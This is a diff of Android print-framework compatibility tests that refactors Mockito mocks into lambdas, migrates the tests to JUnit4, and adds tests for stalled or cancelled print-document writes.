-                onPrinterDiscoverySessionDestroyCalled();
-                return null;
-            }
+            return null;
+        }, null, null, invocation -> null, null, null, invocation -> {
+            // Take a note onDestroy was called.
+            onPrinterDiscoverySessionDestroyCalled();
+            return null;
         });
     }
 
@@ -229,43 +224,34 @@
      */
     private PrintDocumentAdapter createMockPrintDocumentAdapter() {
         return createMockPrintDocumentAdapter(
-                new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) throws Throwable {
-                        mLayoutAttributes = (PrintAttributes) invocation.getArguments()[1];
-                        LayoutResultCallback callback =
-                                (LayoutResultCallback) invocation.getArguments()[3];
-                        PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                                .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
-                                .setPageCount(1)
-                                .build();
-                        callback.onLayoutFinished(info, false);
-                        // Mark layout was called.
-                        onLayoutCalled();
-                        return null;
-                    }
-                }, new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) throws Throwable {
-                        Object[] args = invocation.getArguments();
-                        PageRange[] pages = (PageRange[]) args[0];
-                        ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                        WriteResultCallback callback = (WriteResultCallback) args[3];
-                        writeBlankPages(mLayoutAttributes, fd, pages[0].getStart(),
-                                pages[0].getEnd());
-                        fd.close();
-                        callback.onWriteFinished(pages);
-                        // Mark write was called.
-                        onWriteCalled();
-                        return null;
-                    }
-                }, new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) throws Throwable {
-                        // Mark finish was called.
-                        onFinishCalled();
-                        return null;
-                    }
+                invocation -> {
+                    mLayoutAttributes = (PrintAttributes) invocation.getArguments()[1];
+                    LayoutResultCallback callback =
+                            (LayoutResultCallback) invocation.getArguments()[3];
+                    PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                            .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
+                            .setPageCount(1)
+                            .build();
+                    callback.onLayoutFinished(info, false);
+                    // Mark layout was called.
+                    onLayoutCalled();
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    PageRange[] pages = (PageRange[]) args[0];
+                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                    WriteResultCallback callback = (WriteResultCallback) args[3];
+                    writeBlankPages(mLayoutAttributes, fd, pages[0].getStart(),
+                            pages[0].getEnd());
+                    fd.close();
+                    callback.onWriteFinished(pages);
+                    // Mark write was called.
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    // Mark finish was called.
+                    onFinishCalled();
+                    return null;
                 });
     }
 
@@ -293,20 +279,12 @@
                         defaultDuplexMode, resolutions, defaultResolution);
 
         PrintServiceCallbacks serviceCallbacks = createMockPrintServiceCallbacks(
-                new Answer<PrinterDiscoverySessionCallbacks>() {
-                    @Override
-                    public PrinterDiscoverySessionCallbacks answer(InvocationOnMock invocation) {
-                        return sessionCallbacks;
-                    }
-                },
-                new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) {
-                        PrintJob printJob = (PrintJob) invocation.getArguments()[0];
-                        // We pretend the job is handled immediately.
-                        printJob.complete();
-                        return null;
-                    }
+                invocation -> sessionCallbacks,
+                invocation -> {
+                    PrintJob printJob = (PrintJob) invocation.getArguments()[0];
+                    // We pretend the job is handled immediately.
+                    printJob.complete();
+                    return null;
                 }, null);
 
         // Configure the print services.
@@ -341,6 +319,26 @@
         return false;
     }
 
+    @Before
+    public void setUpServicesAndAdapter() throws Exception {
+        if (!sHasBeenSetup) {
+            // Set up printer with supported and default attributes
+            PrintDocumentAdapter adapter =
+                    setUpPrinter(MIN_MARGINS[0], MEDIA_SIZES, MEDIA_SIZES[0], COLOR_MODES,
+                            COLOR_MODES[0], DUPLEX_MODES, DUPLEX_MODES[0], RESOLUTIONS,
+                            RESOLUTIONS[0]);
+
+            Log.d(LOG_TAG, "makeDefaultPrinter");
+            // Make printer default. This is necessary as a different default printer might pre-select
+            // its default attributes and thereby overrides the defaults of the tested printer.
+            makeDefaultPrinter(adapter, PRINTER_NAME);
+
+            sHasBeenSetup = true;
+        }
+
+        resetCounters();
+    }
+
     /**
      * Flexible base test for all print attribute tests.
      *
@@ -368,20 +366,10 @@
             int defaultColorMode, int suggestedColorMode, int duplexModes[],
             int defaultDuplexMode, int suggestedDuplexMode, Resolution resolutions[],
             Resolution defaultResolution, Resolution suggestedResolution) throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-
-        // Set up printer with supported and default attributes
         PrintDocumentAdapter adapter =
                 setUpPrinter(minMargins, mediaSizes, defaultMediaSize, colorModes, defaultColorMode,
                         duplexModes, defaultDuplexMode, resolutions, defaultResolution);
 
-        Log.d(LOG_TAG, "makeDefaultPrinter");
-        // Make printer default. This is necessary as a different default printer might pre-select
-        // its default attributes and thereby overrides the defaults of the tested printer.
-        makeDefaultPrinter(adapter, PRINTER_NAME);
-
         // Select suggested attributes
         PrintAttributes suggestedAttributes = createAttributes(suggestedMediaSize,
                 suggestedColorMode, suggestedDuplexMode, suggestedResolution);
@@ -391,11 +379,11 @@
         Log.d(LOG_TAG, "print");
         print(adapter, suggestedAttributes);
         Log.d(LOG_TAG, "waitForWriteAdapterCallback");
-        waitForWriteAdapterCallback(2);
+        waitForWriteAdapterCallback(1);
         Log.d(LOG_TAG, "clickPrintButton");
         clickPrintButton();
         Log.d(LOG_TAG, "waitForPrinterDiscoverySessionDestroyCallbackCalled");
-        waitForPrinterDiscoverySessionDestroyCallbackCalled(2);
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
 
         // It does not make sense to suggest minMargins, hence the print framework always picks
         // the one set up for the printer.
@@ -443,7 +431,8 @@
      *
      * @throws Exception If anything is unexpected
      */
-    public void testDefaultMatchesSuggested0() throws Exception {
+    @Test
+    public void defaultMatchesSuggested0() throws Exception {
         //       available     default          suggestion
         baseTest(              MIN_MARGINS[0],
                  MEDIA_SIZES,  MEDIA_SIZES[0],  MEDIA_SIZES[0],
@@ -459,7 +448,8 @@
      *
      * @throws Exception If anything is unexpected
      */
-    public void testDefaultMatchesSuggested1() throws Exception {
+    @Test
+    public void defaultMatchesSuggested1() throws Exception {
         //       available     default          suggestion
         baseTest(              MIN_MARGINS[1],
                  MEDIA_SIZES,  MEDIA_SIZES[1],  MEDIA_SIZES[1],
@@ -475,7 +465,8 @@
      *
      * @throws Exception If anything is unexpected
      */
-    public void testDefaultMatchesSuggested2() throws Exception {
+    @Test
+    public void defaultMatchesSuggested2() throws Exception {
         //       available     default          suggestion
         baseTest(              MIN_MARGINS[2],
                  MEDIA_SIZES,  MEDIA_SIZES[2],  MEDIA_SIZES[2],
@@ -492,7 +483,8 @@
      *
      * @throws Exception If anything is unexpected
      */
-    public void testNoSuggestion0() throws Exception {
+    @Test
+    public void noSuggestion0() throws Exception {
         //       available     default          suggestion
         baseTest(              MIN_MARGINS[0],
                  MEDIA_SIZES,  MEDIA_SIZES[0],  null,
@@ -508,7 +500,8 @@
      *
      * @throws Exception If anything is unexpected
      */
-    public void testNoSuggestion1() throws Exception {
+    @Test
+    public void noSuggestion1() throws Exception {
         //       available     default          suggestion
         baseTest(              MIN_MARGINS[1],
                  MEDIA_SIZES,  MEDIA_SIZES[1],  null,
@@ -524,7 +517,8 @@
      *
      * @throws Exception If anything is unexpected
      */
-    public void testNoSuggestion2() throws Exception {
+    @Test
+    public void noSuggestion2() throws Exception {
         //       available     default          suggestion
         baseTest(              MIN_MARGINS[2],
                  MEDIA_SIZES,  MEDIA_SIZES[2],  null,
@@ -542,7 +536,8 @@
      *
      * @throws Exception If anything is unexpected
      */
-    public void testMediaSizeSuggestion0() throws Exception {
+    @Test
+    public void mediaSizeSuggestion0() throws Exception {
         //       available     default          suggestion
         baseTest(              MIN_MARGINS[0],
                  MEDIA_SIZES,  MEDIA_SIZES[0],  MEDIA_SIZES[1],
@@ -559,7 +554,8 @@
      *
      * @throws Exception If anything is unexpected
      */
-    public void testMediaSizeSuggestion1() throws Exception {
+    @Test
+    public void mediaSizeSuggestion1() throws Exception {
         //       available     default          suggestion
         baseTest(              MIN_MARGINS[1],
                  MEDIA_SIZES,  MEDIA_SIZES[1],  MEDIA_SIZES[0],
@@ -576,7 +572,8 @@
      *
      * @throws Exception If anything is unexpected
      */
-    public void testDuplexModeSuggestion0() throws Exception {
+    @Test
+    public void duplexModeSuggestion0() throws Exception {
         //       available     default          suggestion
         baseTest(              MIN_MARGINS[0],
                  MEDIA_SIZES,  MEDIA_SIZES[0],  null,
@@ -593,7 +590,8 @@
      *
      * @throws Exception If anything is unexpected
      */
-    public void testDuplexModeSuggestion1() throws Exception {
+    @Test
+    public void duplexModeSuggestion1() throws Exception {
         //       available     default          suggestion
         baseTest(              MIN_MARGINS[1],
                  MEDIA_SIZES,  MEDIA_SIZES[1],  null,
@@ -608,7 +606,8 @@
      *
      * @throws Exception If anything is unexpected
      */
-    public void testSuggestedDifferentFromDefault() throws Exception {
+    @Test
+    public void suggestedDifferentFromDefault() throws Exception {
         //       available     default          suggestion
         baseTest(              MIN_MARGINS[0],
                  MEDIA_SIZES,  MEDIA_SIZES[0],  MEDIA_SIZES[1],
@@ -623,7 +622,8 @@
      *
      * @throws Exception If anything is unexpected
      */
-    public void testUnsupportedSuggested() throws Exception {
+    @Test
+    public void unsupportedSuggested() throws Exception {
         //       available                               default          suggestion
         baseTest(                                        MIN_MARGINS[0],
                  Arrays.copyOfRange(MEDIA_SIZES, 0, 1),  MEDIA_SIZES[0],  MEDIA_SIZES[1],
@@ -638,7 +638,8 @@
      *
      * @throws Exception If anything is unexpected
      */
-    public void testNegativeMargins() throws Exception {
+    @Test
+    public void negativeMargins() throws Exception {
         //       available     default                          suggestion
         baseTest(              new Margins(-10, -10, -10, -10),
                  MEDIA_SIZES,  MEDIA_SIZES[1],                  null,
diff --git a/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java b/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
index f171884..fe6fce1 100644
--- a/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
@@ -21,8 +21,8 @@
 import static org.mockito.Mockito.inOrder;
 import static org.mockito.Mockito.verifyNoMoreInteractions;
 
+import android.os.Bundle;
 import android.os.CancellationSignal;
-import android.os.CancellationSignal.OnCancelListener;
 import android.os.ParcelFileDescriptor;
 import android.print.PageRange;
 import android.print.PrintAttributes;
@@ -43,11 +43,15 @@
 import android.print.cts.services.StubbablePrinterDiscoverySession;
 import android.printservice.PrintJob;
 import android.printservice.PrintService;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 import org.mockito.InOrder;
-import org.mockito.invocation.InvocationOnMock;
-import org.mockito.stubbing.Answer;
 
+import java.io.FileOutputStream;
 import java.io.IOException;
 import java.util.ArrayList;
 import java.util.List;
@@ -56,56 +60,54 @@
  * This test verifies that the system respects the {@link PrintDocumentAdapter}
  * contract and invokes all callbacks as expected.
  */
+@RunWith(AndroidJUnit4.class)
 public class PrintDocumentAdapterContractTest extends BasePrintTest {
+    private static final String LOG_TAG = "PrintDocumentAdapterContractTest";
 
-    public void testNoPrintOptionsOrPrinterChange() throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-        // Configure the print services.
+    @Before
+    public void setDefaultPrinter() throws Exception {
         FirstPrintService.setCallbacks(createFirstMockPrintServiceCallbacks());
         SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
+    }
 
+    @Before
+    public void clearPrintSpoolerState() throws Exception {
+        clearPrintSpoolerData();
+    }
+
+    @Test
+    public void noPrintOptionsOrPrinterChange() throws Exception {
         final PrintAttributes[] printAttributes = new PrintAttributes[1];
 
         // Create a mock print adapter.
         final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
-            new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
-                LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
-                PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                        .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
-                        .setPageCount(2)
-                        .build();
-                callback.onLayoutFinished(info, false);
-                // Mark layout was called.
-                onLayoutCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                Object[] args = invocation.getArguments();
-                PageRange[] pages = (PageRange[]) args[0];
-                ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                WriteResultCallback callback = (WriteResultCallback) args[3];
-                writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
-                fd.close();
-                callback.onWriteFinished(pages);
-                // Mark write was called.
-                onWriteCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Mark finish was called.
-                onFinishCalled();
-                return null;
-            }
-        });
+                invocation -> {
+                    printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
+                    LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
+                    PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                            .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
+                            .setPageCount(2)
+                            .build();
+                    callback.onLayoutFinished(info, false);
+                    // Mark layout was called.
+                    onLayoutCalled();
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    PageRange[] pages = (PageRange[]) args[0];
+                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                    WriteResultCallback callback = (WriteResultCallback) args[3];
+                    writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
+                    fd.close();
+                    callback.onWriteFinished(new PageRange[]{new PageRange(0, 1)});
+                    // Mark write was called.
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    // Mark finish was called.
+                    onFinishCalled();
+                    return null;
+                });
 
         // Start printing.
         print(adapter);
@@ -141,7 +143,7 @@
         // there are other printers but none of them was used.
         PrintAttributes firstOldAttributes = new PrintAttributes.Builder().build();
         PrintAttributes firstNewAttributes = new PrintAttributes.Builder()
-                .setMediaSize(MediaSize.NA_LETTER)
+                .setMediaSize(getDefaultMediaSize())
                 .setResolution(new Resolution("PDF resolution", "PDF resolution", 300, 300))
                 .setMinMargins(Margins.NO_MARGINS)
                 .setColorMode(PrintAttributes.COLOR_MODE_COLOR)
@@ -182,53 +184,10 @@
         verifyNoMoreInteractions(adapter);
     }
 
-    public void testNoPrintOptionsOrPrinterChangeCanceled() throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-        // Configure the print services.
-        FirstPrintService.setCallbacks(createFirstMockPrintServiceCallbacks());
-        SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
-
-        final PrintAttributes[] printAttributes = new PrintAttributes[1];
-
+    @Test
+    public void noPrintOptionsOrPrinterChangeCanceled() throws Exception {
         // Create a mock print adapter.
-        final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
-            new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
-                LayoutResultCallback callback = (LayoutResultCallback)
-                        invocation.getArguments()[3];
-                PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                    .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
-                    .setPageCount(1)
-                    .build();
-                callback.onLayoutFinished(info, false);
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                Object[] args = invocation.getArguments();
-                PageRange[] pages = (PageRange[]) args[0];
-                ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                WriteResultCallback callback = (WriteResultCallback) args[3];
-                writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
-                fd.close();
-                callback.onWriteFinished(pages);
-                // Mark write was called.
-                onWriteCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Mark finish was called.
-                onFinishCalled();
-                return null;
-            }
-        });
+        PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
 
         // Start printing.
         print(adapter);
@@ -256,7 +215,7 @@
         // there are other printers but none of them was used.
         PrintAttributes firstOldAttributes = new PrintAttributes.Builder().build();
         PrintAttributes firstNewAttributes = new PrintAttributes.Builder()
-                .setMediaSize(MediaSize.NA_LETTER)
+                .setMediaSize(getDefaultMediaSize())
                 .setResolution(new Resolution("PDF resolution", "PDF resolution", 300, 300))
                 .setMinMargins(Margins.NO_MARGINS)
                 .setColorMode(PrintAttributes.COLOR_MODE_COLOR)
@@ -276,55 +235,183 @@
         verifyNoMoreInteractions(adapter);
     }
 
-    public void testPrintOptionsChangeAndNoPrinterChange() throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-        // Configure the print services.
-        FirstPrintService.setCallbacks(createFirstMockPrintServiceCallbacks());
-        SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
+    @Test
+    public void nonCallingBackWrite() throws Throwable {
+        final PrintAttributes[] lastLayoutPrintAttributes = new PrintAttributes[1];
+        final boolean[] isWriteBroken = new boolean[1];
 
+        // Create a mock print adapter.
+        PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
+                invocation -> {
+                    PrintAttributes printAttributes =
+                            (PrintAttributes) invocation.getArguments()[1];
+                    PrintDocumentAdapter.LayoutResultCallback callback =
+                            (PrintDocumentAdapter.LayoutResultCallback) invocation
+                                    .getArguments()[3];
+
+                    callback.onLayoutFinished(new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                                    .setPageCount(PrintDocumentInfo.PAGE_COUNT_UNKNOWN).build(),
+                            lastLayoutPrintAttributes[0] != printAttributes);
+
+                    lastLayoutPrintAttributes[0] = printAttributes;
+
+                    onLayoutCalled();
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    PrintDocumentAdapter.WriteResultCallback callback =
+                            (PrintDocumentAdapter.WriteResultCallback) args[3];
+
+                    if (isWriteBroken[0]) {
+                        ((CancellationSignal) args[2])
+                                .setOnCancelListener(() -> callback.onWriteCancelled());
+                    } else {
+                        try (ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1]) {
+                            writeBlankPages(lastLayoutPrintAttributes[0], fd, 0, 1);
+                        }
+                        callback.onWriteFinished(new PageRange[]{new PageRange(0, 0)});
+                    }
+
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    onFinishCalled();
+                    return null;
+                });
+
+        // never return from writes until we repair the write call later
+        isWriteBroken[0] = false;
+
+        // Start printing.
+        print(adapter);
+
+        // Wait for write. This will happen as the the first layout always triggers a write
+        waitForWriteAdapterCallback(1);
+
+        // Make write broken
+        isWriteBroken[0] = true;
+        selectPrinter("Second printer");
+
+        assertNoPrintButton();
+
+        // Wait for write (The second printer causes a re-layout as it does not support the default
+        // page size). The write is broken, hence this never returns
+        waitForWriteAdapterCallback(2);
+
+        assertNoPrintButton();
+
+        getUiDevice().pressBack();
+        getUiDevice().pressBack();
+
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+    }
+
+    @Test
+    public void nonChangePrinterWhileNotWritten() throws Exception {
+        final PrintAttributes[] lastLayoutPrintAttributes = new PrintAttributes[1];
+        final boolean[] isWriteBroken = new boolean[1];
+
+        // Create a mock print adapter.
+        PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
+                invocation -> {
+                    PrintAttributes printAttributes =
+                            (PrintAttributes) invocation.getArguments()[1];
+                    PrintDocumentAdapter.LayoutResultCallback callback =
+                            (PrintDocumentAdapter.LayoutResultCallback) invocation
+                                    .getArguments()[3];
+
+                    callback.onLayoutFinished(new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                                    .setPageCount(PrintDocumentInfo.PAGE_COUNT_UNKNOWN).build(),
+                            lastLayoutPrintAttributes[0] != printAttributes);
+
+                    lastLayoutPrintAttributes[0] = printAttributes;
+
+                    onLayoutCalled();
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    PrintDocumentAdapter.WriteResultCallback callback =
+                            (PrintDocumentAdapter.WriteResultCallback) args[3];
+
+                    if (isWriteBroken[0]) {
+                        ((CancellationSignal) args[2]).setOnCancelListener(() -> {
+                            callback.onWriteCancelled();
+                            onWriteCancelCalled();
+                        });
+                    } else {
+                        try (ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1]) {
+                            writeBlankPages(lastLayoutPrintAttributes[0], fd, 0, 1);
+                        }
+                        callback.onWriteFinished(new PageRange[]{new PageRange(0, 1)});
+                    }
+
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    onFinishCalled();
+                    return null;
+                });
+
+        // Fake a very long write
+        isWriteBroken[0] = true;
+
+        // Start printing.
+        print(adapter);
+
+        // Wait for write. This will happen as the the first layout always triggers a write
+        waitForWriteAdapterCallback(1);
+
+        // Repair write and cause a re-layout by changing the printer
+        isWriteBroken[0] = false;
+        selectPrinter("Second printer");
+
+        // The first write should be canceled and the second write succeeds
+        waitForWriteCancelCallback(1);
+        waitForWriteAdapterCallback(2);
+
+        // Click the print button.
+        clickPrintButton();
+
+        // Answer the dialog for the print service cloud warning
+        answerPrintServicesWarning(true);
+
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+    }
+
+    @Test
+    public void printOptionsChangeAndNoPrinterChange() throws Exception {
         final PrintAttributes[] printAttributes = new PrintAttributes[1];
 
         // Create a mock print adapter.
         final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
-            new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
-                LayoutResultCallback callback = (LayoutResultCallback)
-                        invocation.getArguments()[3];
-                PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                    .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
-                    .setPageCount(1)
-                    .build();
-                callback.onLayoutFinished(info, false);
-                // Mark layout was called.
-                onLayoutCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                Object[] args = invocation.getArguments();
-                PageRange[] pages = (PageRange[]) args[0];
-                ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                WriteResultCallback callback = (WriteResultCallback) args[3];
-                writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
-                fd.close();
-                callback.onWriteFinished(pages);
-                // Mark write was called.
-                onWriteCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Mark finish was called.
-                onFinishCalled();
-                return null;
-            }
-        });
+                invocation -> {
+                    printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
+                    LayoutResultCallback callback = (LayoutResultCallback)
+                            invocation.getArguments()[3];
+                    PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                        .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
+                        .setPageCount(1)
+                        .build();
+                    callback.onLayoutFinished(info, false);
+                    // Mark layout was called.
+                    onLayoutCalled();
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    PageRange[] pages = (PageRange[]) args[0];
+                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                    WriteResultCallback callback = (WriteResultCallback) args[3];
+                    writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
+                    fd.close();
+                    callback.onWriteFinished(pages);
+                    // Mark write was called.
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    // Mark finish was called.
+                    onFinishCalled();
+                    return null;
+                });
 
         // Start printing.
         print(adapter);
@@ -342,25 +429,25 @@
         waitForLayoutAdapterCallbackCount(2);
 
         // Change the orientation.
-        changeOrientation("Landscape");
+        changeOrientation(getPrintSpoolerStringArray("orientation_labels")[1]);
 
         // Wait for layout.
         waitForLayoutAdapterCallbackCount(3);
 
         // Change the media size.
-        changeMediaSize("ISO A4");
+        changeMediaSize(MediaSize.ISO_A0.getLabel(getActivity().getPackageManager()));
 
         // Wait for layout.
         waitForLayoutAdapterCallbackCount(4);
 
         // Change the color.
-        changeColor("Black & White");
+        changeColor(getPrintSpoolerStringArray("color_mode_labels")[0]);
 
         // Wait for layout.
         waitForLayoutAdapterCallbackCount(5);
 
         // Change the duplex.
-        changeDuplex("Short edge");
+        changeDuplex(getPrintSpoolerStringArray("duplex_mode_labels")[2]);
 
         // Wait for layout.
         waitForLayoutAdapterCallbackCount(6);
@@ -387,7 +474,7 @@
         // there are other printers but none of them was used.
         PrintAttributes firstOldAttributes = new PrintAttributes.Builder().build();
         PrintAttributes firstNewAttributes = new PrintAttributes.Builder()
-                .setMediaSize(MediaSize.NA_LETTER)
+                .setMediaSize(getDefaultMediaSize())
                 .setResolution(new Resolution("PDF resolution", "PDF resolution", 300, 300))
                 .setMinMargins(Margins.NO_MARGINS)
                 .setColorMode(PrintAttributes.COLOR_MODE_COLOR)
@@ -432,7 +519,7 @@
         // there shouldn't be a next call to write.
         PrintAttributes fourthOldAttributes = thirdNewAttributes;
         PrintAttributes fourthNewAttributes = new PrintAttributes.Builder()
-                .setMediaSize(MediaSize.ISO_A4.asLandscape())
+                .setMediaSize(MediaSize.ISO_A0.asLandscape())
                 .setResolution(new Resolution("300x300", "300x300", 300, 300))
                 .setMinMargins(Margins.NO_MARGINS)
                 .setColorMode(PrintAttributes.COLOR_MODE_COLOR)
@@ -445,7 +532,7 @@
         // there shouldn't be a next call to write.
         PrintAttributes fifthOldAttributes = fourthNewAttributes;
         PrintAttributes fifthNewAttributes = new PrintAttributes.Builder()
-                .setMediaSize(MediaSize.ISO_A4.asLandscape())
+                .setMediaSize(MediaSize.ISO_A0.asLandscape())
                 .setResolution(new Resolution("300x300", "300x300", 300, 300))
                 .setMinMargins(Margins.NO_MARGINS)
                 .setColorMode(PrintAttributes.COLOR_MODE_MONOCHROME)
@@ -458,7 +545,7 @@
         // there shouldn't be a next call to write.
         PrintAttributes sixthOldAttributes = fifthNewAttributes;
         PrintAttributes sixthNewAttributes = new PrintAttributes.Builder()
-                .setMediaSize(MediaSize.ISO_A4.asLandscape())
+                .setMediaSize(MediaSize.ISO_A0.asLandscape())
                 .setResolution(new Resolution("300x300", "300x300", 300, 300))
                 .setMinMargins(Margins.NO_MARGINS)
                 .setColorMode(PrintAttributes.COLOR_MODE_MONOCHROME)
@@ -480,55 +567,124 @@
         verifyNoMoreInteractions(adapter);
     }
 
-    public void testPrintOptionsChangeAndPrinterChange() throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-        // Configure the print services.
-        FirstPrintService.setCallbacks(createFirstMockPrintServiceCallbacks());
-        SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
-
+    /* Disabled @Test, as this will intentionally kill the activity that started the test */
+    public void printCorruptedFile() throws Exception {
+        final boolean[] writeCorruptedFile = new boolean[1];
         final PrintAttributes[] printAttributes = new PrintAttributes[1];
 
         // Create a mock print adapter.
         final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
-            new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
-                LayoutResultCallback callback = (LayoutResultCallback)
-                        invocation.getArguments()[3];
-                PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                    .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
-                    .setPageCount(1)
-                    .build();
-                callback.onLayoutFinished(info, false);
-                // Mark layout was called.
-                onLayoutCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                Object[] args = invocation.getArguments();
-                PageRange[] pages = (PageRange[]) args[0];
-                ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                WriteResultCallback callback = (WriteResultCallback) args[3];
-                writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
-                fd.close();
-                callback.onWriteFinished(pages);
-                // Mark write was called.
-                onWriteCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Mark finish was called.
-                onFinishCalled();
-                return null;
-            }
-        });
+                invocation -> {
+                    printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
+                    LayoutResultCallback callback = (LayoutResultCallback)
+                            invocation.getArguments()[3];
+                    Bundle extras = (Bundle) invocation.getArguments()[4];
+                    Log.i(LOG_TAG, "Preview: " + extras.getBoolean(
+                            PrintDocumentAdapter.EXTRA_PRINT_PREVIEW));
+                    PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                            .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
+                            .build();
+                    callback.onLayoutFinished(info, true);
+                    // Mark layout was called.
+                    onLayoutCalled();
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    PageRange[] pages = (PageRange[]) args[0];
